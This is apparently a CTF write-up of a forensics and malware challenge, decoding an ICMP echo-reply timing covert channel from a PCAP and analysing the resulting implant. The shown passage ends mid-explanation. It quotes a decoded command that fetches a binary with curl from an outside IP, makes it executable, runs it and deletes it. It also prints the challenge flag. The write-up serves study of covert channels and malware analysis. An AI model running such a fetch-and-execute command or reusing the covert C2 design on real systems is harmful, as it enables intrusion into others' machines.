Плоскоссан — alfactf

Category: forensics / network / malware
Status: solved
Flag: alfa{HIdE_y0uR_AC7IvItY_ANd_bE_sAFe}

Summary

The PCAP contains only ICMP echo request/reply traffic between the victim and a controller. The useful data is hidden in the reply timing:

• ~0.1s = bit 0
• ~0.5s = bit 1
• ~0.3s = sync / frame separator

Decoding the capture reveals two NUL-terminated strings:

ok
exec curl -o /tmp/.x http://157.180.44.191:8080/client_bin; chmod +x /tmp/.x; /tmp/.x; rm -f /tmp/.x

So the original controller used ICMP timing to instruct the victim to fetch and run a second-stage binary.

Stage 1: Decode the timing channel

The capture has only two flows:

• 46.62.209.189 -> 157.180.44.191 ICMP echo request
• 157.180.44.191 -> 46.62.209.189 ICMP echo reply

If we pair request/reply packets by ICMP id/seq and measure the delay, the timing stream splits into frames separated by ~0.3s. Inside a frame:

• delay < 0.3s → 0
• delay >= 0.3s → 1

Reading 8 bits MSB-first reconstructs the command strings above.

Stage 2: Analyze the downloaded binary

The URL from the decoded command serves an ELF binary called client_bin.

Useful strings/symbols show the protocol logic:

• add
• exec
• server exec ignored: %s
• exec from %s mid=%d: %s
• send_some_request
• send_some_reply
• /bin/bash

This reveals two modes:

Bot session

The implant can receive a timing-encoded bot command directly. The important one is:

add <ip>

After receiving add <ip>, the victim starts pinging that IP itself.

Link session

Once the victim is pinging the chosen host, that host can reply with delayed ICMP echo replies. In this mode, exec ... is accepted and executed.

So the attack is:

...